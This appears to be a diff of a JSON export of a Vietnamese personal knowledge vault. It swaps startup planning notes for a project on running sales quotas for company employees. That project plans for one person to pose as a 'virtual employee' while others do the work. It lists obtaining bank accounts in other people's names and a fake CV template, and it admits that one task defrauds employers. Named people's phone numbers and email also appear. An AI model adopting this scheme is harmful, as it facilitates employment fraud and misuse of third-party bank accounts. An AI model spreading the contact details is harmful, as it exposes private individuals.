rằng AI không ứng dụng được trong trường hợp này\r\n- Sẵn sàng học lập trình nếu có người hướng dẫn, hoặc chấp nhận thuê\r\n\r\n# [[Mô hình kinh doanh Trấn Kỳ]]\r\n- Thấy rằng đây là một giải pháp cho những vấn đề tiền không đáp ứng được\r\n\r\n# Hướng dẫn sử dụng\r\n- Thực sự muốn hướng dẫn mình học chứ không che dấu gì cả\r\n", + "Toàn bộ nội dung": "![](https://assets-global.website-files.com/5f0e1294f002b1bb26e1f304/6273d54e9f5270706efdddef_Wisdom-Gap-Email_Human-Vulnerabilities-Technology.png) \r\nNguồn:: [The Wisdom Gap](https://www.humanetech.com/insights/the-wisdom-gap \"The Wisdom Gap - Center for Humane Technology\")\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-27T11:33:00.000Z", "id": "43" }, { - "Tiêu đề": "Lợi nhuận mỗi tuần 2tr5", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/3 Thành quả mong muốn/Lợi nhuận mỗi tuần 2tr5", + "Tiêu đề": "App đen", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/App đen", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(khái-niệm, [[]])\nGROUP BY split(file.folder, \"/\")[3]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2024-09-06T04:52:00.000Z", + "Ngày cập nhật": "2024-09-06T04:54:00.000Z", "id": "44" }, { - "Tiêu đề": "Mỗi tháng có lợi nhuận 10tr để trả lãi cho Trí", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/3 Thành quả mong muốn/Mỗi tháng có lợi nhuận 10tr để trả lãi cho Trí", + "Tiêu đề": "Bảo hiểm", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Bảo hiểm", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-23T12:13:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2024-09-06T04:46:00.000Z", + "Ngày cập nhật": "2024-09-06T04:48:00.000Z", "id": "45" }, { - "Tiêu đề": "Mỗi tuần có 10 người tham gia phát triển Trấn Kỳ", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/3 Thành quả mong muốn/Mỗi tuần có 10 người tham gia phát triển Trấn Kỳ", + "Tiêu đề": "Luật", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Luật", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#file/thành-quả\r\n%%\r\nTrạng thái:: #tt-⚪/chưabắtđầubàn\r\nĐộ cấp thiết:: #đct-🔥🔥Phảilàmngay\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\n\r\nLà giải pháp cho vấn đề:\r\n```dataview\r\nList \r\nwhere contains(giải-pháp-gợi-ý,[[]]) \r\n```\r\n\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(khái-niệm, [[]])\nGROUP BY split(file.folder, \"/\")[3]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2024-09-06T09:43:00.000Z", + "Ngày cập nhật": "2024-09-06T09:43:00.000Z", "id": "46" }, { - "Tiêu đề": "Mỗi tuần có 20 người nhắn tin trên thread Trấn Kỳ trên Discord Quả Cầu", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/3 Thành quả mong muốn/Mỗi tuần có 20 người nhắn tin trên thread Trấn Kỳ trên Discord Quả Cầu", + "Tiêu đề": "Mua trước trả sau", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Mua trước trả sau", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(khái-niệm, [[]])\nGROUP BY split(file.folder, \"/\")[3]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-15T15:38:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2024-09-06T06:34:00.000Z", + "Ngày cập nhật": "2024-09-06T06:34:00.000Z", "id": "47" }, { - "Tiêu đề": "Mỗi tuần có 300 người vào trang giới thiệu Trấn Kỳ", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/3 Thành quả mong muốn/Mỗi tuần có 300 người vào trang giới thiệu Trấn Kỳ", + "Tiêu đề": "Quỹ", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Quỹ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(khái-niệm, [[]])\nGROUP BY split(file.folder, \"/\")[3]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-15T15:09:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2024-09-06T04:55:00.000Z", + "Ngày cập nhật": "2024-09-06T04:55:00.000Z", "id": "48" }, { - "Tiêu đề": "Mỗi tuần tiếp cận được 4000 người", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/3 Thành quả mong muốn/Mỗi tuần tiếp cận được 4000 người", + "Tiêu đề": "Thu nhập", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Thu nhập", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(khái-niệm, [[]])\nGROUP BY split(file.folder, \"/\")[3]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-15T15:10:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2024-09-06T06:34:00.000Z", + "Ngày cập nhật": "2024-09-06T06:34:00.000Z", "id": "49" }, { - "Tiêu đề": "Một khoản đầu tư 120tr cho 3 tháng", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/3 Thành quả mong muốn/Một khoản đầu tư 120tr cho 3 tháng", + "Tiêu đề": "Thẻ tín dụng", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Thẻ tín dụng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(khái-niệm, [[]])\nGROUP BY split(file.folder, \"/\")[3]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-23T13:05:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2024-09-06T06:34:00.000Z", + "Ngày cập nhật": "2024-09-06T06:34:00.000Z", "id": "4A" }, { - "Tiêu đề": "4 Thành phẩm", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/4 Thành phẩm", + "Tiêu đề": "Vốn", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Vốn", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\nLIST rows.file.link\r\nFROM \"📐 Dự án/Trấn Kỳ/4 Thành phẩm\" \r\nWHERE file.name!=this.file.name\r\nGROUP BY split(file.folder, \"/\")[3]\r\n```\r\n", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(khái-niệm, [[]])\nGROUP BY split(file.folder, \"/\")[3]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-08T07:54:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2024-09-11T06:40:00.000Z", + "Ngày cập nhật": "2024-09-11T06:40:00.000Z", "id": "4B" }, { - "Tiêu đề": "Kế hoạch phát triển Trấn Kỳ", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Chiến lược/Kế hoạch phát triển Trấn Kỳ", + "Tiêu đề": "Chạy chỉ tiêu cho nhân viên các công ty", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Chạy chỉ tiêu cho nhân viên các công ty", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", + "Tên dự án": "Chạy chỉ tiêu cho nhân viên các công ty", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Thành quả cần có:: [[Lợi nhuận mỗi tuần 2tr5]]\r\n- Mỗi tháng làm việc hiệu quả cho một bên [[Tiêu chí làm việc và ra quyết định]]\r\n\r\n# [[27-07]]\r\n\r\n# [[09-03]]\r\n| Giải pháp gợi ý | Điểm mạnh | Điểm yếu | Effort |\r\n| ----------------------- | ---------------------------------------------------------------------- | -------------------------------------------------------------------------- | ------ |\r\n| UTM startup | • Đã có sẵn tập khách hàng, không cần đi bán
    • Khả năng tiền đủ lớn | • Chưa chắc chắn về tiềm năng của nó
    • Chưa có tiền ngay | |\r\n| UTM freelance | • có tiền ngay
    • họ muốn làm với mình vì mình có kinh nghiệm | • Giả sử có tiềm năng thật thì bỏ lỡ
    | |\r\n| Thu chi người dùng cuối | • Có research về user cụ thể
    • Giúp Trí tạo thêm nguồn thu nhập | • Đối thủ cạnh tranh
    • Phải bỏ công và tiền ngay
    • Chưa có tiền ngay | |\r\n| Thu chi SME | | | |\r\n\r\nA. Startup UTM \r\nB. Freelance UTM \r\nC. Thu chi người dùng cuối\r\nD. Thu chi SME\r\n\r\nThì mong muốn của em là A > B > C > D. Còn đánh giá về độ khả thi thì là B > A > C > D\r\nCái doanh nghiệp kia nếu có e vs a rất khó để làm\r\nCái C có người làm độ khả thi cao hơn vì e có kinh nghiệm\r\nD gần như là mù và k đánh giá đx thị trường\r\n# [[16-02]]\r\nEm cũng nghĩ là mình nên tập trung vào tìm khách hàng thực sự trả tiền hơn là code thêm. Hiện tại em thấy mình có 2 tập đối tượng mà mình có thể đáp ứng nhu cầu của họ:\r\n# Người cần quản lý chi tiêu cá nhân hoặc bán nhỏ lẻ\r\nEm có phỏng vấn một anh cũng từng bán cà phê, thì ảnh nói cũng không thấy cần ghi chú gì, miễn là thấy ko lỗ là đc. Một bạn khác mới phỏng vấn sáng nay thì bạn này lưu dữ liệu trên Notion, và:\r\n1. Không thấy nhức đầu khi phải click chuột thủ công vào các trường riêng biệt khi phân loại, \r\n2. Không cần nhiều trường phức tạp, \r\n3. Muốn có biểu đồ thống kê\r\n\r\nViệc giải quyết cho (1) với (2) là thế mạnh của TK mà bạn này lại không cần, còn (3) là điểm mấu chốt để sử dụng hệ thống khác thì mình lại phải code thêm. Nếu đa số những người có nhu cầu ghi chú chi tiêu giống bạn này thì em nghĩ họ chỉ cần dùng mấy cái template excel thu chi là đủ.\r\n[[Mục tiêu và câu hỏi nghiên cứu người dùng cá nhân cần phân loại tự động]]\r\n# Người cần trích xuất dữ liệu có cấu trúc từ dữ liệu phi cấu trúc\r\nCái này thường là họ có một dự án rõ ràng nào đó rồi, và thường là ở cấp độ tổ chức. Về bản chất là họ đang cần một hệ thống thông tin và xử lý dữ liệu, dù có thể dữ liệu của họ vẫn là về giao dịch. Trí là một ví dụ cho chuyện này. Em nghĩ đây mới là nhóm có nhu cầu mạnh về (1), (2). Em nghĩ (3) với họ cũng không quá quan trọng, quan trọng là có khả năng truy vấn tốt. Nên mình cũng chẳng phải code thêm nhiều. Nên hiện tại em đang nhắm vào họ.\r\n\r\nKhi họ trích xuất dữ liệu có cấu trúc thì họ sẽ cần thuê ngoài. Nên em đang có ý định làm freelance cho họ để thử nghiệm thị trường này. Nếu bắt đầu kiếm được mối thì sẽ rủ thêm mấy bạn khác cùng làm rồi chia lợi nhuận. Khi nào có tiền để trả lương cho người khác thì quay lại vào cái đối tượng cá nhân.\r\n[[Mục tiêu và câu hỏi nghiên cứu tổ chức nhỏ cần trích xuất dữ liệu có cấu trúc từ dữ liệu phi cấu trúc]]\r\n\r\n---\r\n# Kế hoạch cũ\r\n## A. Chiến lược cho Trấn Kỳ cạnh tranh trên thị trường\r\n1. Quan điểm: Dùng Trấn Kỳ như một con tốt để đem lại cơ hội hợp tác với anh Quang, có thêm nguồn lực đội ngũ và tài chính\r\n3. Sản phẩm hữu hình đầu tiên:\r\n - Con bot trong các nền tảng nhập liệu với tính năng chỉn chu hơn PiPu (về tính đa dạng trong các nền tảng sử dụng: discord, messenger, telegram, keep,…)\r\n - App trên máy tính (dành riêng cho những khách hàng lấy dữ liệu từ momo, ngân hàng)\r\n4. Phương thức cho khách hàng tiếp cận và thu phí: tạo server để khách hàng nhập liệu cấu hình và thu phí\r\n5. Đội ngũ team Trấn Kỳ:\r\n - Theo đội hình bộ 3 Tech - Des - Business: mỗi vai trò cần 1 người bên team mình đảm nhận quản lý, có thể mảng Business anh Quang sẽ có khả năng lead hiệu quả nhưng cần một chân từ team mình để hỗ trợ\r\n - Làm việc trên quan điểm tạo ra cơ hội lấy nguồn lực từ việc hợp tác + tạo thời gian cho Nhật phân tích và phát triển xa hơn\r\n6. Thời gian:\r\n - 11/11 - 17/11: Trao đổi kế hoạch với team mình để mng góp ý và hoàn thiện, cần anh @kendy4448 và anh Lộc tham gia\r\n - 18/11 - 22/11: Họp với team anh Quang\r\n## B. Chiến lược cho anh Nhật phát triển tầm nhìn về mảng công nghệ\r\n1. Giai đoạn đầu hợp tác với team anh Quang: Quản lý dự án Trấn Kỳ như cách để có thêm nguồn lực về đội ngũ và tài chính, tạo ra MVP\r\n2. Giai đoạn pre scale up: Dành nhiều thời gian để bàn kế hoạch phát triển ver2 từ những feedback ban đầu, suy nghĩ về các bước tiếp theo cho Trấn Kỳ như một cơ hội để phát triển ngành công nghệ\r\n3. Giai đoạn post scale up: Có thể mở lớp dạy về Trấn Kỳ ver 1 cho những người muốn \"thí nghiệm\"\r\n\r\n# Nhu cầu của người dùng và sản phẩm dành cho họ\r\n| Nhu cầu | Sản phẩm |\r\n| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\r\n| Phân loại các câu tiếng Việt một cách tự động mà không mất đi [[Việc trung tâm hoá việc lưu trữ dữ liệu trên máy chủ sẽ lấy đi autonomy và agency của người dùng cuối\\|sự tự trị dữ liệu (data autonomy)]] | [Trấn Kỳ](https://lậptrình.quảcầu.cc/%F0%9F%91%8Ftr%E1%BA%A5n%20k%E1%BB%B3/?utm_source=CW+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9+%C2%BB+L%E1%BB%9Di+m%E1%BB%9Di+tham+gia+startup+c%E1%BB%A7a+c%E1%BB%99ng+%C4%91%E1%BB%93ng&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=ph%E1%BA%A7n+%C4%91%E1%BB%91i+t%C6%B0%E1%BB%A3ng+th%E1%BB%A5+h%C6%B0%E1%BB%9Fng){ .md-button .md-button--primary } (Sản phẩm chính) |\r\n| Cách tổ chức dữ liệu cho việc quản lý dự án, phát triển sản phẩm | [[📐 Dự án/Trấn Kỳ/4 Thành phẩm/Kế hoạch/Kế hoạch\\|Kế hoạch]], [[Tổ chức nhỏ hoặc người cần kỷ luật tài chính]], [[Truyền thông]] |\r\n| Học cách sử dụng công cụ và tư duy lập trình cho nhu cầu cá nhân hoặc nghiên cứu | [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]] |\r\n| Xây dựng PKM, ERP, giàn giáo nhận thức cho mình | [[🌟 Mở đầu\\|C Obsidian, quản lý dự án và công cụ nghĩ]] |\r\n| Tìm người giúp mình xây dựng hệ thống quản lý (VD: cài đặt Trấn Kỳ) | Mạng kết nối nhu cầu |\r\n| Thử nghiệm các mô h", + "Toàn bộ nội dung": "Ví dụ như đây là yêu cầu công việc của một nhân viên bán hàng trong VNPAY:\n- Chụp hình chấm công mỗi sáng vào 8h30\n- [[Công ty không quan tâm dữ liệu cửa hàng do nhân viên gửi về có bị trùng lặp hay không|Thêm dữ liệu 10 khách hàng tiềm năng lên cơ sở dữ liệu chung mỗi ngày trong 30 ngày đầu]]\n- Giới thiệu sản phẩm tới khách hàng tiềm năng\n- Viết hợp đồng\n- Gắn mã\n- Chăm sóc khách hàng\n- Tạo được 10 hợp đồng mỗi tháng\n\nĐầu tiên, một người sẽ đóng vai trò [[Làm nhân viên ảo]] của công ty. Các công việc thực sẽ do những người khác đảm nhiệm.\n\nKhó khăn:\n- Tìm được các chủ cửa hàng chấp nhận trả tiền cho mình\n- Tìm được nhiều tài khoản ngân hàng khác chủ\n\nLiên hệ:: [[Nguyễn Hữu Lộc|Nguyễn Hữu Lộc – 0783865410]]\n\n```dataview\nLIST rows.file.link\nFROM \"📐 Dự án/Chạy chỉ tiêu cho nhân viên các công ty\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[3]\n```\n\nCộng đồng làm nhiều công ty cùng lúc bằng tiếng Anh:\n- [Overemployed](https://www.reddit.com/r/overemployed/)\n- [Overemployed ® - Work Two Remote Jobs, Reach Financial Freedom](https://overemployed.com/ \"Overemployed ® - Work Two Remote Jobs, Reach Financial Freedom\")\n\n\n\n\nMột số việc ở đây có tính hơi ăn gian, luồn lách quy định của quản lý, công ty, nền tảng (gọi tắt là người trả tiền), có thể bị đuổi khi bị phát hiện, nhưng chắc là không phạm luật. Chắc là thôi, không phải chắc chắn. Tuy nhiên, trong số chúng có những công việc thực ra người trả tiền cũng biết nhân viên mình có làm nhưng vẫn nhắm mắt làm ngơ, vì chính bản thân họ cũng có những lợi ích từ việc làm này. Ví dụ, công việc [[Đổi tiền, chụp hình biển hiệu, dán mã QR#Đổi tiền|đổi tiền]] về thực chất là gian lận công ty, và nếu bị phát hiện thì công ty sẽ phải phạt bạn. Nhưng vì [[Nhà đầu tư cho các công ty tài chính cần tiền được lưu thông]], nên [[RSM chỉ gây áp lực mồm cho ASM về việc ngăn nhân viên chạy ảo, chứ không gây áp lực qua KPI]], từ đó khiến cho [[ASM không có lợi ích gì trong việc phát hiện nhân viên có chạy ảo hay không]]. Vấn đề là nhà đầu tư chỉ quan tâm đến việc tối đa hoá lợi nhuận, chứ không quan tâm đến chất lượng sống của bạn một cách thực chất.\n\nKhông sợ các công ty tìm cách chống lại nhóm, vì mọi cách chống lại nhóm đều gây thiệt hại cho những người không muốn gian lận công ty. Cách duy nhất để chống lại là cải thiện cách đối xử với nhân viên bán hàng: giảm chỉ tiêu hoặc tăng lương. Nếu các công ty có thể làm nhóm này chết đi, thì đó là thành công của nhóm này. Nó được sinh ra với mục tiêu duy nhất là không còn cần phải tồn tại nữa.", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-01T13:43:00.000Z", + "Ngày tạo": "2024-06-28T16:05:00.000Z", + "Ngày cập nhật": "2024-08-28T07:19:00.000Z", "id": "4C" }, { - "Tiêu đề": "Tiêu chí làm việc và ra quyết định", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Chiến lược/Tiêu chí làm việc và ra quyết định", + "Tiêu đề": "Ghi chú về các app ngân hàng", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Chạy chỉ tiêu cho nhân viên các công ty/Tài liệu/Ghi chú về các app ngân hàng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", + "Tên dự án": "Chạy chỉ tiêu cho nhân viên các công ty", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Ra quyết định\r\nTrên lý thuyết thì sử [[Phân tích quyết định đa tiêu chí (MCDA) là phương pháp để tìm điểm đánh đổi tối ưu nhất|phương pháp phân tích quyết định đa tiêu chí (MCDA) để tìm điểm đánh đổi tối ưu nhất]], và quyền bỏ phiếu của các thành viên dựa theo thời gian đóng góp của mỗi người. \r\n\r\n## Nhật \r\n| Tiêu chí | Tiêu chí thành phần | Cách tính điểm | Trọng số |\r\n| ------------------- | ---------------------------------------------------------- | -------------------------------------- | ---------- |\r\n| Giúp Trí | | | 90% |\r\n| | Số tiền kiếm được | $\\frac{\\text{Số tiền}}{\\text{400 tr}}$ |   35% |\r\n| | Thời gian nhận được tiền | |   35% |\r\n| | Kỳ hạn trả | |   10% |\r\n| | Lãi | |   10% |\r\n| Môi trường làm việc | | | 10% |\r\n| | Các thành viên thấy việc mình làm đem lại ý nghĩa cho mình | |   5% |\r\n| | Có thể linh hoạt hạn chót | |   5% |\r\n\r\n\r\n## Thịnh\r\n| Tiêu chí | Tiêu chí thành phần | Cách tính điểm | Trọng số |\r\n| ----------------------------------- | ---------------------------------------------------------------------------------------------- | ------------------------------------ | ---------- |\r\n| Có cơ hội hợp tác bền vững hiệu quả | | | 100% |\r\n| | Đảm bảo lợi ích tài chính, tâm lý, sức khoẻ thành viên | |   40% |\r\n| | Sử dụng ứng dụng được chiến lược hoặc ý tưởng của các bên và tạo ra giá trị trong thời điểm đó | |   30% |\r\n| | Có nhiều đầu mối để học hỏi | |   20% |\r\n| | Dành thời gian đủ lâu để tạo ra nhiều cơ hội phát triển, hiểu các mong đợi của các bên, | |   10% |\r\n\r\n# Gặp mặt\r\n- gặp mặt ít nhất 2 buổi, mỗi buổi 1-2 tiếng\r\n- Phải có một buổi nói về định hướng, khả năng của 2 bên\r\n\r\n# Hiệu quả một tuần làm việc\r\n- Kiểm chứng được ít nhất 1 giả định\r\n- Chia sẻ và giải quyết được vấn đề cá nhân gặp phải làm ảnh hưởng tới công việc\r\n- Lập kế hoạch cho tuần tiếp theo\r\n\r\n# Lập kế hoạch\r\n- Ứng dụng được các giả định được kiểm chứng, \r\n- Phù hợp với các quyết định chung\r\n", + "Toàn bộ nội dung": "- **Eximbank:** bắt đăng nhập web\n- **Đông Á:** không cho mở online\n- **PVcombank:** không thực hiện video call chỉ cho hạn mức 3tr\n- **Vietin:** không cho thay đổi thiết bị giao dịch iPay vào khung giờ 23h-6h để đảm bảo an toàn bảo mật\n- **Bắc Á:** bắt gửi pass về mail\n- **Shinhan:** Bắt tạo câu hỏi bảo mật ngay lúc đăng nhập\n- **Shinhan, TP, VP:** không ghi rõ tên giao dịch với cửa hàng nào khi quẹt VNPAY\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-12-07T04:39:00.000Z", - "Ngày cập nhật": "2024-08-01T13:28:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T06:51:00.000Z", "id": "4D" }, { - "Tiêu đề": "27-11-2023", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Họp/27-11-2023", + "Tiêu đề": "Mẫu CV ảo", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Chạy chỉ tiêu cho nhân viên các công ty/Tài liệu/Mẫu CV ảo", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", + "Tên dự án": "Chạy chỉ tiêu cho nhân viên các công ty", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Workspace\r\nCông cụ: theo kiểu lean, chỉ cần có status và tag là được. Trello lại quá phức tạp, còn các công cụ khác thì tốn tiền → dùng Obsidian và Discord. Nhật nghiên cứu vụ sync cho iphone.\r\n\r\n- tạo nhiều đầu công việc, assign người làm, hiểu trạng thái: todo, in progress, done\r\n- Trong trường hợp in progress thì mục tiêu 1 tuần phải xong. Nếu trong 2 ngày làm thấy có vẻ ko ổn thì trở về to do. Không có cái nào in progress quá 2 tuần\r\n- Mỗi sáng t5 8h - 9h catchup, review ticket done hoặc highlight, định hướng tuần sau ưu tiên làm gì\r\n- ~~Mỗi sáng trên discord phải cập nhật công việc hôm qua, vướng gì, cần hỗ trợ~~ (chủ yếu cho team tech) \r\n\r\n# Product \r\nfocus lớn nhất bây giờ là đóng gói được sp và launch cho người dùng sử dụng là app mà key user chỉ cần nói chuyện với nó\r\nMVP: tạo web và nhận được bảng\r\ndesign lấy team anh Quang\r\n\r\n# Fundraising\r\nnên gặp thêm nhiều người thể hiện sự quan tâm\r\n→ seeding\r\n\r\n# Khác\r\n**Về động lực tham gia và sự đóng góp:** Anh chỉ là early member, tin truly vào sp. Anh không muốn xin thêm cổ phần vì như vậy phải thể hiện ra mình làm đc gì. Thời điểm này team chưa build xong, đóng góp của anh còn ít, chưa có gì để gọi vốn. Khi nào sản phẩm thành hình rồi pitch. Lúc đó nếu anh đóng góp nhiều hơn thì sẽ bàn thêm. \r\n\r\n**Về Nhật:** thấy được passion, thấy việc giúp Trí khá thú vị nên muốn làm việc cùng. Thích style geek, ko thích founder ma mãnh. Chính sự khác người tạo nên thành công\r\n\r\n**Về việc Nhật lo cho Trí:** lo lắng sự giúp trí bị distract vào. Dù sao thì em cũng là lead, anh chỉ có 5%, nên em sẽ là người thúc đẩy nhóm chứ không phải là anh. Nếu em không làm thì anh cũng chỉ chịu 5% thiệt hại.\r\nNếu em biến mất thì cũng không sao vì khi công việc cụ thể rồi thì cứ việc ai nấy làm thôi. Báo trước để mọi người điều chỉnh là được.\r\n", + "Toàn bộ nội dung": "# Nguyễn Hữu Lộc\n📞 0777 85 00 94\n🏠 Bình Dương\n📧 michaelloc@hps.edu.vn\n\n## Học thuật\n- **Triết học:** Đạo luận, Phật luận, triết học Deleuze, mỹ học, hậu hiện đại, lãng mạn luận, triết học trong toán học\n- **Khoa học nhận thức:** tâm lý học nhận thức, cảm xúc, nhận thức luận, ẩn dụ\n- **Ngôn ngữ học:** ngôn ngữ học tri nhận, ngữ nghĩa học, thi pháp học, âm vị học, cú pháp học\n- **Toán và khoa học cứng:** động học niềm tin, hình học xạ ảnh, nhóm và biểu diễn, hệ vận động và phức hợp, giải tích hàm điều hòa, giải tích phức, lịch sử toán, lý thuyết thông tin, lý thuyết đồ thị\n- **Nghệ thuật:** thời trang, lý thuyết văn học\n- **Xã hội dân sự:** tâm lý học xã hội, công tác xã hội, phát triển cộng đồng, truyền thông xã hội, tâm lý học trị liệu, bạo hành tinh thần\n- **Lý thuyết đạo đức và chính trị:** đồng thuận, năng lực ra quyết định, thao túng, tự chủ, riêng tư, tin tưởng, can thiệp luận, duy hiệu quả luận, nhân quyền, công bằng, nhà nước, pháp quyền, công lý\n- **Lĩnh vực khác:** lý thuyết dịch, giao tiếp học, giao tiếp liên nhân, rhetoric & composition\n- **Y học:** viêm da dị ứng, giải phẫu\n\n## Kỹ năng\n### Lập trình\n- **Web:** TypeScript/JavaScript, Deno, Preact, WordPress, PHP, DirectAdmin, WinSCP\n- **Dữ liệu:** Python\n- **Shell script:** AutoHotKey, Regex, PowerShell, sed/grep/awk, bash\n- **Đồ thị:** Graphviz, Obsidian Dataview & Breadcrumbs, Neo4j, Cypher, vis.js\n- **Android:** 